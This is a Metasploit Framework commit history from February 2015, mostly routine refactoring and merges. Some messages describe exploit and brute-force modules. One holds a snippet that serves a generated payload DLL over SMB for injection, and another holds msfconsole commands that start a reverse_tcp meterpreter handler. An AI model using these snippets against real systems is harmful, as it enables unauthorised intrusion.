Create template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO
2015-02-20 00:22:33 -06:00
jvazquez-r7
94ad64546c
Create TRANS2_PARAMETERS template
2015-02-19 23:16:52 -06:00
jvazquez-r7
b24b94ddd3
Do first cleanup of find_first2 handlers
2015-02-19 19:08:56 -06:00
Ferenc Spala
c498ba64e4
Added a new pair of default Tomcat credentials. QLogic's QConvergeConsole comes with a bundled Tomcat with a hard-coded username and password for the manager app.
2015-02-19 15:08:50 -06:00
jvazquez-r7
74c43f5527
Delete more unused local variables
2015-02-19 14:39:55 -06:00
jvazquez-r7
1d5a977280
Delete a lot of verbose prints
2015-02-19 14:37:16 -06:00
jvazquez-r7
0940ceae75
Delete unused local variables
2015-02-19 14:26:46 -06:00
jvazquez-r7
c38c3519d8
Delete more unused code
2015-02-19 14:24:18 -06:00
jvazquez-r7
7487f9611b
Do some extra prints
2015-02-19 14:11:27 -06:00
jvazquez-r7
d9b9de8e89
Delete unused code
2015-02-19 13:16:24 -06:00
jvazquez-r7
5510000bf1
Use constant for FLAGS2
2015-02-19 13:02:50 -06:00
jvazquez-r7
392137292e
Old delete register prototype comment
2015-02-19 13:00:12 -06:00
sinn3r
49f4b68671
Land #4790 , injecting code into eval-based Javascript unpackers
2015-02-19 12:33:52 -06:00
jvazquez-r7
39ceb5b90f
Update smb_error on Exploit::Remote::SMB::Server
2015-02-19 12:10:28 -06:00
Matthew Hall
0f0c955287
Merge pull request #2 from jvazquez-r7/mixin_design_3074
...
Move code from Rex to mixin
2015-02-19 17:32:29 +00:00
sinn3r
036a6089eb
Drop ungenuine x64 support in ms13_022_silverlight_script_object
...
The MS13-022 exploit does not actually run as x64. IE by default
still runs x86 so BES will always automatically select that target.
If IE forces x64 (which can be done manually), the BES detection
code will see it as ARCH_X86_64, and the payload generator will
still end up generating a x86 payload anyway.
If the user actually chooses a x64 payload, such as
windows/x64/meterpreter/reverse_tcp, the exploit is going to crash
because you can't run x64 shellcode on an x86 architecture.
2015-02-19 10:39:43 -06:00
William Vu
27a8c460bd
Land #4797 , revert of #4780 (issue #4669 )
2015-02-19 09:58:20 -06:00
Brent Cook
4781ac4b39
the http service needs to keep running to handle meterpreter loading
...
revert a8f44ca68f
2015-02-19 09:38:48 -06:00
dnkolegov
f6c871a8e5
Deleted spaces at EOL
2015-02-19 05:06:00 -05:00
dnkolegov
caabb82975
Fixed indentation errors
2015-02-19 05:02:10 -05:00
sinn3r
1835120851
Update rspec for get_payload in BES
2015-02-19 02:45:54 -06:00
dnkolegov
2a584da6d9
Added cookie value in print function
2015-02-19 00:43:57 -05:00
Tod Beardsley
7a3bc017ff
Land #4794 , fix some db stuff, drop 1.9 tests
2015-02-18 17:26:02 -06:00
darkbushido
e0e9445a40
removing 1.9.3 from travis
...
metasploit_data_models requires Ruby version >= 2.1.
2015-02-18 17:19:01 -06:00
darkbushido
67c0f590a0
Restoring mysteriusly changed db constraints...
2015-02-18 17:07:25 -06:00
jvazquez-r7
b85324435e
Don't waste instance variables
2015-02-18 16:42:52 -06:00
jvazquez-r7
91d9d93fec
Handle instance variables correctly
2015-02-18 16:35:20 -06:00
Tod Beardsley
c57dee569c
Land #3650 , the last Meterpreter script ever.
2015-02-18 16:21:00 -06:00
jvazquez-r7
438b38dfe4
Use Rex::Text
2015-02-18 16:20:47 -06:00
jvazquez-r7
a815858644
Fix setup
2015-02-18 16:19:05 -06:00
Spencer McIntyre
fe840635e5
Land #4791 , fix ms14-070 CreateFile arguments
...
The arguments to CreateFileA used to require that the user had
some level of access on the \\.\tcp device.
2015-02-18 17:15:45 -05:00
Trevor Rosen
1099084fb0
Land #4761 , enforce unique port number per service
2015-02-18 15:22:46 -06:00
Trevor Rosen
62fbf81f8a
Update Gemfile.lock and schema.rb
2015-02-18 15:17:17 -06:00
David Maloney
ffa6550aec
Land #4787 , HD's new Zabbix and Chef LoginScanners
...
Lands the new LoginScanners HD wrote for Zabbix
and the Chef WebUI
2015-02-18 14:51:16 -06:00
David Maloney
804db0ff0c
add leixcal sorting to methods
...
lexical sort the new methods except for
msf module entrypoint methods which should always be at
the top
2015-02-18 14:50:33 -06:00
joev
483a145d19
Fix msftidy issues.
2015-02-18 14:08:03 -06:00
jvazquez-r7
3ca67ed294
Delete specs
2015-02-18 13:59:57 -06:00
jvazquez-r7
06dfa6b5be
Fix initialize
2015-02-18 13:56:06 -06:00
jvazquez-r7
62c08094fd
Delete the old FileServer mixin
2015-02-18 13:54:24 -06:00
jvazquez-r7
9068397fff
Delete code commented by myself
2015-02-18 13:47:05 -06:00
jvazquez-r7
a446df95b2
Make Msf::Exploit::Remote::SMB::Server::Share a mixin
2015-02-18 13:45:48 -06:00
jvazquez-r7
874031b96d
Delete require
2015-02-18 13:44:31 -06:00
jvazquez-r7
415c671416
Move Rex code, we'll redesign as mixin
2015-02-18 13:44:02 -06:00
jakxx
44a7e7e4bc
publish-it fileformat exploit
2015-02-18 13:22:54 -05:00
William Vu
35511636cc
Land #4788 , splunk_web_login new version support
2015-02-18 11:54:54 -06:00
Jay Smith
e40772efe2
Fixed open device issue for non-priv users
...
Fixed the open_device call to work for users without Administrator
privileges
2015-02-18 12:44:58 -05:00
jvazquez-r7
ff4aa1f9da
Require FileServer mixin
2015-02-18 11:43:13 -06:00
jvazquez-r7
f960a77754
Solve merging conflicts
2015-02-18 11:36:47 -06:00
joev
f8609ab0ba
Add file format exploit for injecting code into unpackers.
2015-02-18 11:26:45 -06:00
jvazquez-r7
01bedb7351
Merge #3074 , @0x41414141 SMBFileServer mixin
2015-02-18 10:53:05 -06:00
Matt Buck
a9931cd410
Land #4725 , convert Rails 3 AR calls in RPC_Db
...
Converts Rails 3 style ActiveRecord calls in RPC_Db to their Rails 4
counterparts.
Fixes #4725 , also see MSP-12017
2015-02-18 09:59:40 -06:00
William Vu
10960310da
Land #4786 , cosmetic fixes from @hmoore-r7
...
For {axis,glassfish}_login.
2015-02-18 03:56:13 -06:00
William Vu
6a9d15a8d5
Land #4785 , Rex::Proto::Http::Client context fixes
2015-02-18 03:47:26 -06:00
William Vu
e2f5cc05c6
Land #4782 , MSB reference fix
...
In ms13_022_silverlight_script_object title.
2015-02-18 03:44:15 -06:00
William Vu
bda96f46e6
Land #4780 , stop HTTP service with HTTP handler
2015-02-18 03:34:03 -06:00
HD Moore
cc6899d783
Fix a stack trace on null response, thanks @jlee-r7
2015-02-18 00:38:55 -06:00
HD Moore
f4d8a25981
Add support for newer Splunk versions
2015-02-18 00:30:47 -06:00
HD Moore
2847507f03
Add a chef brute force module
2015-02-17 23:49:57 -06:00
HD Moore
27d5ab45b4
Add a zabbix brute force module
2015-02-17 22:56:08 -06:00
HD Moore
85fd139ab0
Add missing context and a normalize_uri helper method
2015-02-17 22:55:53 -06:00
sinn3r
8ce1db5081
Fix #4783 , raise exception if the payload arch is incompatible
...
Fix #4783
2015-02-17 21:47:17 -06:00
HD Moore
f0e69cb526
Fix two cosmetic typos in the axis/glassfish modules
2015-02-17 21:01:35 -06:00
HD Moore
16932372db
Calls to Rex::Proto::Http::Client.new were passing in empty context
2015-02-17 20:44:37 -06:00
vulp1n3
69b37976c1
Fix disclosure date.
2015-02-17 17:29:52 -08:00
vulp1n3
a19a5328f1
Add JBoss Seam 2 upload execute module
...
Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
sanitize inputs to some JBoss Expression Language expressions. As a
result, attackers can gain remote code execution through the
application server. This module leverages RCE to upload and execute
a meterpreter payload. CVE-2010-1871
2015-02-17 17:25:01 -08:00
sinn3r
59c413637a
Land #4781 , handle resolve_sid failure enumerating user profiles
2015-02-17 14:58:07 -06:00
sinn3r
6acbe64dbd
The MSB reference in the title is wrong
...
It should be MS13-022.
MS12-022 is MSFT Expression Design.
2015-02-17 14:56:14 -06:00
William Vu
be5a0ee9c2
Land #4777 , @todb-r7's release fixes
2015-02-17 13:45:00 -06:00
Samuel Huckins
bfe55d3414
Merging master into release
2015-02-17 13:28:51 -06:00
rastating
e0d87a8886
Update to use store_loot for CSV export
2015-02-17 19:21:31 +00:00
Tod Beardsley
fb06cb13cc
Land #4774 , Chromecast HTTP scanner
2015-02-17 13:11:25 -06:00
William Vu
687d84cdf0
Land wvu-r7#11, minor fixes for #4774
2015-02-17 13:08:30 -06:00
Tod Beardsley
a8108cfc17
Be less stupid in the description
...
[See #4774 ]
2015-02-17 13:04:26 -06:00
Brent Cook
bed40a83ee
fix #4337 : gracefully handle resolve_sid failure when enumerating user profiles
...
Rather than throwing a backtrace with an unresolvable SID, try to get as
much profile data as possible if resolve_sid fails.
```
[*] Determining session platform and type...
[-] Unexpected windows error 1332
[*] Checking for Firefox directory in:
C:\Users\Administrator\AppData\Roaming\Mozilla\
[-] Firefox not found
[*] Post module execution completed
```
2015-02-17 13:03:12 -06:00
Tod Beardsley
71c5f622ca
Land #4775 , Kindle Fire TV Stick controller
2015-02-17 12:59:54 -06:00
Tod Beardsley
053de8e62c
Fix whitespace in author name
...
[See #4777 ]
2015-02-17 12:57:36 -06:00
Tod Beardsley
14e764ff5a
Move to http subdirectory
...
After all, the wordpress scanners are all HTTP as well, and not under
some platform specific "wordpress" directory. Lots of other HTTP-ish
devices in there as well.
2015-02-17 12:53:18 -06:00
Tod Beardsley
5e07b01a1f
Fix up description a tiny bit
2015-02-17 12:51:55 -06:00
William Vu
45b16c92b7
Prefer sleep
...
It's all the same, anyway.
2015-02-17 12:43:14 -06:00
William Vu
787deb4b23
Change service name to something more appropriate
...
Technically, it's part of DIAL, but we don't want to confuse the user
even more.
2015-02-17 12:41:31 -06:00
Brent Cook
a8f44ca68f
stop the http service when the reverse http handler stops
2015-02-17 12:38:20 -06:00
sinn3r
b90639fd66
Land #4726 , X360 Software actvx buffer overflow
2015-02-17 11:41:23 -06:00
David Maloney
8e50baaded
Land #4771 , userPrincipalName fix
...
Lands Meatballs1's PR to add userPrincipalName as a column
enumerated by the enum_ad_user* post modules.
2015-02-17 11:31:15 -06:00
Matthew Hall
666b8e3e72
Add timeout to connection handler
2015-02-17 17:27:03 +00:00
Matthew Hall
728cfafe4d
cleanups
2015-02-17 17:27:03 +00:00
Matthew Hall
e4bab60007
Generic HTTP DLL Injection Exploit Module
...
This is an example implementation of using the
Msf::Exploit::Remote::SMBFileServer module to perform
arbitrary DLL injection over SMB.
2015-02-17 17:27:03 +00:00
Matthew Hall
d4aa44455c
Merge branch 'module-exploitsmbfileserver' of github.com:0x41414141/metasploit-framework into module-exploitsmbfileserver
2015-02-17 17:25:36 +00:00
Matthew Hall
547d4d1950
Merge with master
2015-02-17 17:23:19 +00:00
Matthew Hall
9e2a483977
Add example usage to Msf::Exploit::Remote::SMBFileServer documentation
2015-02-17 17:23:18 +00:00
Matthew Hall
cec817902f
Add yardoc documentation for Msf::Exploit::Remote::SMBFileServer
2015-02-17 17:23:18 +00:00
Matthew Hall
5cf8833697
Tidy lib/msf/core/exploit/smb.rb following feedback from jlee-r7.
...
* Doc comments wrap at 78 chars to follow yardoc convention
* Remove unused :server and SERVER vals
* Use Utils class directly
* Stop server within an ensure
* Change SRVHOST to an OptAddress
2015-02-17 17:23:18 +00:00
Matthew Hall
8beed5652d
Implement SMBFileServer mixin.
...
In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.
This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.
Utilising the module (example):
include Msf::Exploit::Remote::SMBFileServer
exe = generate_payload_dll
@exe_file = rand_text_alpha(7) + ".dll"
@share = rand_text_alpha(5)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address : datastore['SRVHOST']
@unc = "\\#{my_host}\#{@share}\#{@exe_file}"
start_smb_server(@unc, exe, @exe_file)
// Inject DLL
handle
A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb
2015-02-17 17:23:18 +00:00
Matthew Hall
c86caacf95
Merge branch 'master' into module-exploitsmbdllserver
...
Conflicts:
lib/msf/core/exploit/smb.rb
2015-02-17 17:16:09 +00:00
Matthew Hall
6c68f0ab19
Merge with master
2015-02-17 17:12:59 +00:00
Matthew Hall
9f04e3bcf0
Merge branch 'master' into hp_dataprotector_dll_cmd_exec
2015-02-17 17:06:40 +00:00
Matthew Hall
afca27dae5
Merge branch 'master' into cve-2014-0094
2015-02-17 17:06:21 +00:00
Matthew Hall
934af4cee9
Merge branch 'master' into module-smbfileserver
2015-02-17 17:01:44 +00:00
Tod Beardsley
214146beaa
Correct author attribution
2015-02-17 10:52:55 -06:00
Matthew Hall
49971a6bc3
Add two more contants and handlers seen during testing.
2015-02-17 16:48:11 +00:00
sinn3r
6eaa3c264c
Land #4763 , LSBackgroundOnly for safari_user_assisted_download_launch
2015-02-17 10:41:59 -06:00
Brent Cook
e08206d192
Land #4768 , jvazquez-r7 reorganizes the SMB mixins
2015-02-17 10:36:19 -06:00
Tod Beardsley
6370c99755
Avoid version numbers in titles
2015-02-17 10:28:56 -06:00
Tod Beardsley
62a679ebb8
Avoid version numbers in titles
...
Usually, the versions are more of a range, and nearly always, the module
author never truly knows where the ranges are bounded. It's okay to
clarify in the description.
2015-02-17 10:26:40 -06:00
sinn3r
0597d2defb
Land #4560 , Massive Java RMI update
2015-02-17 10:07:07 -06:00
Brent Cook
b4cf2f5d8c
use correct response filter TLV_TYPE_VALUE_NAME
2015-02-17 08:46:25 -06:00
Meatballs
ecefad946e
Spellingz
2015-02-17 14:39:34 +00:00
Matthew Hall
1f6aebe3df
Move to using constant values.
...
This commit adds several constants for TRANS2, QUERY_PATH_INFO, MAX_DATA_COUNT,
and NT2 FLAG2 Bits to smb/constants.rb, which have then been utilised in smb/server.rb
to reduce the use of magic values.
2015-02-17 14:31:31 +00:00
Brent Cook
8f74f8eeed
pass down the new permissions parameters
2015-02-17 06:11:20 -06:00
Brent Cook
cf0589f8c6
add support for direct reg access to pymeterpreter
...
When testing this, I found that the python meterpreter hangs running the
following, with or without these changes.
```
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set PythonMeterpreterDebug true
set lhost 192.168.43.1
exploit -j
sleep 5
use exploit/windows/local/trusted_service_path
set SESSION 1
check
```
This turned out to be that pymeterpreter ate all the rest of the data in the
recv socket by consuming 4k unconditionally. This would only be exposed if
there were multiple simultaneous requests so the recv buffer filled beyond a
single request, e.g. when using the registry enumeration functions.
2015-02-17 06:11:20 -06:00
Brent Cook
503f58375b
add direct registry access methods
...
Rather than operating on a passed-in HKEY, these open and close the registry
key directly for each operation.
This pattern better reflects the actual API usage within msf, and removes extra
round-trips to open and close the registry key, reducing traffic and increasing
performance. I did not add direct versions of every registry operation.
There was no benefit for more rarely-used operations, other than requiring more
churn in the meterpreters.
The primary beneficiary of this is post exploitation modules that do registry
or service enumeration. See #3693 for test cases.
2015-02-17 06:11:20 -06:00
William Vu
b4e2a50a6a
Really fix the bug
...
App is so slow. :(
2015-02-17 06:10:32 -06:00
William Vu
09239b37aa
Fix touchy YouTube app
...
It likes the previous video stopped before playing a new one.
2015-02-17 06:07:58 -06:00
William Vu
76e3539434
Add Amazon Fire TV YouTube remote control
2015-02-17 05:44:04 -06:00
Matthew Hall
3110c7b40f
Adds smb_cmd_trans_find_first2_full to respond to "Find File Full Directory Info" FIND_FIRST2 requests,
...
as seen when using "type \\ip\share\file".
2015-02-17 11:37:44 +00:00
William Vu
a4c6e427b4
Fix minor issue in chromecast_youtube
2015-02-17 05:13:25 -06:00
William Vu
b3d301e960
Fix annoying double quotes
...
As much as I love them, the use here is inconsistent.
2015-02-17 05:12:28 -06:00
William Vu
e16614abb9
Program a bit more defensively
...
Even though /setup/eureka_info should always be JSON...
2015-02-17 05:04:26 -06:00
William Vu
ea4dd023ae
Add SSID to report_service info
2015-02-17 04:46:11 -06:00
William Vu
e5d6af6b23
Gather info from /setup/eureka_info
...
Looks better with SSID.
2015-02-17 04:37:16 -06:00
William Vu
b6f83937ef
Add chromecast_webserver scanner
2015-02-17 03:27:48 -06:00
Joshua Smith
14da69cb28
Land #4757 , adds RC for auto payload gen
...
Closes #4740
Normally we type a bunch of msfvenom/msfconsole commands to generate a
payload for setting up a handler, sometimes we're too lazy to type a
bunch of commands so this should make things a little bit easier.
2015-02-16 14:09:31 -06:00
Meatballs
0debbbb948
Fixup spec
2015-02-16 19:07:55 +00:00
Meatballs
22664e63ca
Increase default timeout
2015-02-16 19:07:55 +00:00
Meatballs
5fba54db99
Add addtional timing options
2015-02-16 19:07:55 +00:00
Nikita Oleksov
19cd00e6d5
Fix cookit name split
2015-02-16 23:53:32 +07:00
Meatballs
6559b43f1e
EOL Spaces argh
2015-02-16 15:46:45 +00:00
Meatballs
12f2828829
Allow additional fields
2015-02-16 15:24:28 +00:00
Meatballs
b77aed1c56
UPN is optional, should use sAMAccountName
2015-02-16 15:08:09 +00:00
Meatballs
3a894a29de
Dont use magic values and use the userPrincipalName as the
...
username
2015-02-16 15:02:01 +00:00
Meatballs
e42bbcbcbb
Enum_ad modules should retrive userPrincipalName as it may differ
...
to the sAMAccountName value.
2015-02-16 14:03:15 +00:00
dnkolegov
a44e858bd7
Fixed minor errors in F5 BigIP cookie disclosure module
2015-02-16 01:31:52 -05:00
rastating
73bac94fa8
Add Ultimate CSV Importer extract module
2015-02-15 15:27:27 +00:00
rastating
a22f5c1287
Add extra readme check for case sensitive servers
2015-02-14 23:43:04 +00:00
rastating
40c92f5fe3
Add URL reference
2015-02-14 13:09:37 +00:00
rastating
4dce589bbe
Add WordPress Holding Pattern file upload module
2015-02-14 12:54:03 +00:00
jvazquez-r7
2c842ee6d7
Fix namespaces on Server
2015-02-13 17:34:55 -06:00
jvazquez-r7
9b7bbc220b
Fix namespaces on Client
2015-02-13 17:33:41 -06:00
jvazquez-r7
0158e94a18
Fix mixin usage
2015-02-13 17:18:51 -06:00
jvazquez-r7
0372b08d83
Fix mixin usage on modules
2015-02-13 17:17:59 -06:00
jvazquez-r7
46c6ac9ca1
Redefine namespaces and requires
2015-02-13 17:09:06 -06:00
jvazquez-r7
df1daff673
Move clients
2015-02-13 17:07:03 -06:00
jvazquez-r7
067aadf3a4
Fix namespaces
2015-02-13 17:05:46 -06:00
jvazquez-r7
f1ab7ed343
Mode smb.rb
2015-02-13 17:04:55 -06:00
jvazquez-r7
7367402bf1
Add requires
2015-02-13 17:03:48 -06:00
jvazquez-r7
ccabf30531
Move smb_server.rb
2015-02-13 16:58:19 -06:00
Samuel Huckins
ce688f4247
Land #4765 , Rails4 compatible finder conversion
...
* find_or_initialize_by_DYNAMIC
2015-02-13 15:56:09 -06:00
Brent Cook
f6bc693bd4
Land #4767 : @wchen-r7 fixes DNS lookups for Shodan search module
2015-02-13 14:40:24 -06:00
sinn3r
fd441d2c5e
Fix #4764 , NameError unitialized constant Net::DNS in shodan_search
2015-02-13 14:40:23 -06:00
Samuel Huckins
7b7a6340c0
Land #4766 , fixes vuln import finder query
2015-02-13 14:29:04 -06:00
sinn3r
b197b98ab9
Land #4759 , fix ms09_067_excel_featheader
2015-02-13 13:25:15 -06:00
Christian Catalan
dc6a365a13
Fix finder query in Msf::DBManager::Vuln
...
MSP-12152
* This is part of updating finder queries to be Rails 4 compatibile
* In #find_vuln_by_details, pass in conditons hash crit rather than symbol :crit
2015-02-13 13:21:25 -06:00
sinn3r
6b99103cec
Land #4690 - Update Nessus plugin to support the latest REST API
...
Resolves #4447
2015-02-13 12:46:01 -06:00
Sonny Gonzalez
dc1eab377c
Rails 4 finder conversion: convert find_or_initialize_by_x_and_y
...
MSP-12153
* convert to where(conditions).first_or_initialize
2015-02-13 12:39:44 -06:00
sinn3r
bbf5fa881d
Fix help again
2015-02-13 12:06:56 -06:00
sinn3r
c78c40df78
Extra nessus_login in help
2015-02-13 12:00:54 -06:00
sinn3r
56454674f2
Fix nessus_help
...
Columns are arrays
2015-02-13 11:55:46 -06:00
sinn3r
b55fd0572d
Use print_status
2015-02-13 11:51:32 -06:00
sinn3r
f5e0dddd3c
Correct authentication
...
Can't always be true
2015-02-13 11:48:10 -06:00
sinn3r
9a56e5c4f9
Extra space
2015-02-13 11:40:49 -06:00
sinn3r
2f5fad4806
Share plugin name
2015-02-13 11:38:36 -06:00
William Vu
f7fa76ae14
Land #4760 , java_signed_applet .class cleanup
2015-02-13 10:06:27 -06:00
dnkolegov
19144e143a
Fixed some errors in F5 BigIP cookie disclosure module
2015-02-13 03:29:23 -05:00
joev
49c9c02b53
Hide the dropped osx app.
2015-02-12 23:08:46 -06:00
William Vu
17437a3813
Land #4762 , CVE reference for ie_uxss_injection
2015-02-12 22:04:41 -06:00
sinn3r
29163db7fc
Add CVE reference for ie_uxss_injection
2015-02-12 17:16:59 -06:00
jvazquez-r7
3ae3d56caa
Land #4745 , fixes #4711 , BrowserAutoPwn failing due to getpeername
2015-02-12 16:51:09 -06:00
David Maloney
a0787f5bb9
bump credential version too
2015-02-12 16:36:45 -06:00
David Maloney
1296696aea
get latests MDM for unique services
...
pull in the latest MDM to get the uniqueness validation
for Service objects
MSP-11643
2015-02-12 16:33:37 -06:00
jvazquez-r7
92422c7b9a
Save the output file on local_directory
2015-02-12 16:16:21 -06:00
Brent Cook
4da28324e7
expound on java signer build instructions
2015-02-12 16:13:08 -06:00
Brent Cook
7e9a331087
remove unused .class files
...
These were added for multi/browser/java_signed_applet, but the class
files are already packaged in a jar file, which is what is actually
used.
2015-02-12 16:08:29 -06:00
Christian Mehlmauer
55f57e0b9b
Land #4746 , WordPress photo-gallery exploit
2015-02-12 22:24:12 +01:00
Christian Mehlmauer
bce7211f86
added url and randomize upload directory
2015-02-12 22:16:37 +01:00
William Vu
39c0065560
Land #4758 , SMTPDeliver DATA header fix
2015-02-12 15:07:31 -06:00
Matt Buck
f0bf881cc3
Land #4720 , update Rails 3-style .find(:first)
...
Eliminate the Rails 3-style .find(:first) calls, and replace with
Rails 4-compatible .first().
Fixes #4720 , also see MSP-12012
2015-02-12 14:30:13 -06:00
David Maloney
72878e0c14
fixes bug with smtp header order
...
SMTP servers that support pipelining will not accept any
commands other than MAILFROM and RCPTTO before the DATA
command. We were sending Date and Subject before Data
which would cause some mailservers to suddenly drop
the connection refusing to send the mail.
MSP-12133
2015-02-12 14:13:39 -06:00
sinn3r
05d2703a98
Explain why obfuscation is disabled
2015-02-12 14:00:01 -06:00
William Vu
9b10cd5655
Land #4755 , @todb-r7's release fixes
2015-02-12 13:16:08 -06:00
William Vu
d7fa06de06
Fix off-by-one whitespace
2015-02-12 13:12:13 -06:00
Tod Beardsley
c156ed62a9
on, not of.
2015-02-12 12:56:53 -06:00
Tod Beardsley
e35f603888
Comma fascism
2015-02-12 12:49:45 -06:00
Tod Beardsley
d89eda65fa
Moar fixes, thanks @wvu-r7
...
See #4755
2015-02-12 12:46:38 -06:00
sinn3r
60c650d0c7
Add RC script for auto payload generation to starting a handler
...
Resolve #4740
Normally we type a bunch of msfconsole commands to generate a payload
to setting up a handler, sometimes we're really lazy to type a bunch
of commands so this should make things a little bit easier.
2015-02-12 12:23:34 -06:00
Tod Beardsley
e78d08e20d
Fix up titles, descriptions
2015-02-12 12:11:40 -06:00
sinn3r
50c72125a4
::Errno::EINVAL, disable obfuscation, revoke ms14-064
2015-02-12 11:54:01 -06:00
jvazquez-r7
868bf4bc0f
Land #4752 , @rastating's exploit for Maarch LetterBox file upload
2015-02-12 11:47:08 -06:00
jvazquez-r7
155651e187
Make filename shorter
2015-02-12 11:45:51 -06:00
jvazquez-r7
95bfe7a7de
Do minor cleanup
2015-02-12 11:45:51 -06:00
rastating
30f310321d
Added CVE reference
2015-02-12 11:45:51 -06:00
rastating
38ad960640
Add Maarch LetterBox file upload module
2015-02-12 11:45:51 -06:00
William Vu
309159d876
Land #4753 , updated ms14_070_tcpip_ioctl info
2015-02-12 09:57:29 -06:00
Spencer McIntyre
8ab469d3bd
Update ms14-070 module information and references
2015-02-12 09:51:01 -05:00
root
199dca75a6
Implement db_import and finalize plugin
2015-02-12 13:32:49 +05:00
Tod Beardsley
ab42bad460
Land #4751 , enable autofail on msftidy checks
...
Also, removes the datastore check from msftidy.
Fixes #3853 , finally.
2015-02-11 15:05:07 -06:00
William Vu
9b2fad24e0
Add new comment about post-merge hook
2015-02-11 13:48:13 -06:00
William Vu
987fdbaeec
Remove extraneous comment
2015-02-11 13:46:25 -06:00
William Vu
4cd5e8f702
Reenable post-merge hook in Travis
2015-02-11 13:41:23 -06:00
Samuel Huckins
2397be6e45
Land #4749
2015-02-11 13:13:05 -06:00
Tod Beardsley
e0314aa727
Land #4750 , Deprecate and msftidy on pxe exploits
2015-02-11 12:57:25 -06:00
Tod Beardsley
02fe57e2a1
Bump out to April, 60ish days
2015-02-11 12:56:37 -06:00
William Vu
c73892b721
Nuke datastore modification check from orbit
2015-02-11 12:46:40 -06:00
William Vu
fd11afff1a
Deprecate manage/pxexploit
...
modules/post/windows/manage/pxeexploit.rb
2015-02-11 12:39:10 -06:00
William Vu
58b6b7519a
Deprecate server/pxexploit
...
modules/auxiliary/server/pxeexploit.rb
2015-02-11 12:38:38 -06:00
William Vu
6294cbf4de
Fix manage/pxexploit datastore
2015-02-11 12:19:59 -06:00
William Vu
b894050bba
Fix local/pxeexploit datastore
2015-02-11 12:19:56 -06:00
William Vu
9e717084af
Fix server/pxexploit datastore
2015-02-11 12:19:39 -06:00
Sonny Gonzalez
7c57b9fb57
Fix Master - Pro build
...
MSP-12138
* revert to previous Rails 3 syntax.
2015-02-11 12:02:34 -06:00
William Vu
1ced9a2dd7
Land #4748 , msftidy fixes for futex_requeue
2015-02-11 11:36:01 -06:00
Brent Cook
f99ef5c0f5
fix msftidy warnings about towelroot module
2015-02-11 11:17:44 -06:00
rastating
cb1efa3edd
Improved error handling, tidied up some code
2015-02-11 10:16:18 +00:00
root
64b69d597a
Add report_download and db_scan APIs
2015-02-11 14:11:10 +05:00
rastating
80a086d5f6
Add WordPress Photo Gallery upload module
2015-02-11 01:03:51 +00:00
sinn3r
d23c9b552f
Trade MS12-004 for MS13-090 against Windows XP BrowserAutoPwn
2015-02-10 18:58:56 -06:00
sinn3r
22811257db
Fix #4711 - Errno::EINVA (getpeername(2)) BrowserAutoPwn Fix
...
This patch fixes #4711 .
The problem here is that the browser sometimes will shutdown some of our
exploit's connections (in my testing, all Java), and that will cause Ruby
to call a rb_sys_fail with "getpeername(2)". The error goes all the
way to Rex::IO::StreamServer's monitor_listener method, which triggers a
"break" to quit monitoring. And then this causes another chain of reactions
that eventually forces BrowserAutoPwn to quit completely (while the
JavaScript on the browser is still running)
2015-02-10 18:28:02 -06:00
OJ
73435c6d1c
Land #4743 - Bump met bins, update Linux bins.
...
Includes a merge of Gemfile.lock
2015-02-11 08:21:23 +10:00
Meatballs
33560a2657
Refactor Msf::Exploit::Powershell to Rex::Powershell to allow for
...
msfvenom usage.
2015-02-10 20:53:46 +00:00
Trevor Rosen
b8b5bc95db
Land #4500 , update dependencies
2015-02-10 14:15:43 -06:00
Luke Imhoff
184b4e8a13
Merge branch 'master' into feature/MSP-11141/extract-cache-from-metasploit-model
...
MSP-11141
Conflicts:
Gemfile.lock
metasploit-framework-db.gemspec
2015-02-10 14:09:18 -06:00
Luke Imhoff
5df13364b2
Update to latest metasploit dependencies
...
MSP-11141
2015-02-10 14:01:49 -06:00
jvazquez-r7
b07ef333e9
Fix java_rmi_server include
2015-02-10 12:52:19 -06:00
Brent Cook
7ab7add721
bump meterpreter_bins to 0.0.14, update Linux binaries.
...
Hopefully the last manual build before packaging the Linux bins into
meterpreter_bins as well.
This includes all of the fixes and improvements over the past month.
rapid7/meterpreter#116
rapid7/meterpreter#117
rapid7/meterpreter#121
rapid7/meterpreter#124
2015-02-10 12:43:47 -06:00
Tod Beardsley
7f2add2ce3
Land #4742 , Play Store XFO + UXSS Android RCE
2015-02-10 12:24:40 -06:00
jvazquez-r7
b8f614ef59
Fix namespaces in specs
2015-02-10 12:00:04 -06:00
jvazquez-r7
8222dc9302
Reorganize specs
2015-02-10 11:57:09 -06:00
jvazquez-r7
29c68ef1ec
End fixing namespaces
2015-02-10 11:55:14 -06:00
Tod Beardsley
bea9e2fca6
Land #4741 , MDM and Cred gem bumps
2015-02-10 11:48:46 -06:00
Tod Beardsley
1e8f98c285
Updated description, credit, and URL
2015-02-10 11:25:13 -06:00
Tod Beardsley
1b89242a75
Add module for R7-2015-02
2015-02-10 11:03:46 -06:00
jvazquez-r7
6e635211b3
Modify include
2015-02-10 10:59:56 -06:00
jvazquez-r7
dba67bd1ee
Do more code reorganization
2015-02-10 10:58:57 -06:00
jvazquez-r7
aa9e686965
Reorganize Java related mixin code
2015-02-10 10:52:44 -06:00
jvazquez-r7
1f4fdb5d18
Update from master
2015-02-10 10:47:17 -06:00
root
d3c52f35ad
Merge branch 'wchen-r7-pr4690' into nessus-rest-api
...
Merge wchen PR and updated plugin files
1. Implement additional APIs
2. Raise NotImplementedError for the remaining four reporting APIs
2015-02-10 12:41:27 +05:00
root
e5fd9e70eb
clean plugin/nessus.rb implement additional APIs
2015-02-10 12:40:20 +05:00
jvazquez-r7
5687028f09
Land #4671 , @earthquake's exploit for achat buffer overflow
2015-02-09 17:50:09 -06:00
jvazquez-r7
6165d623ff
Change module filename
2015-02-09 17:39:55 -06:00
jvazquez-r7
eb0741d7a7
Modify reference
2015-02-09 17:39:18 -06:00
Tod Beardsley
0a42ac947a
Land #4737 , fix Socket Context usages
2015-02-09 17:34:03 -06:00
jvazquez-r7
86f3bcad11
Do minor cleanup
2015-02-09 17:33:05 -06:00
Tod Beardsley
6e8b2e4ae7
Land #4738 , msftidy falses, fixed
2015-02-09 17:32:42 -06:00
Tod Beardsley
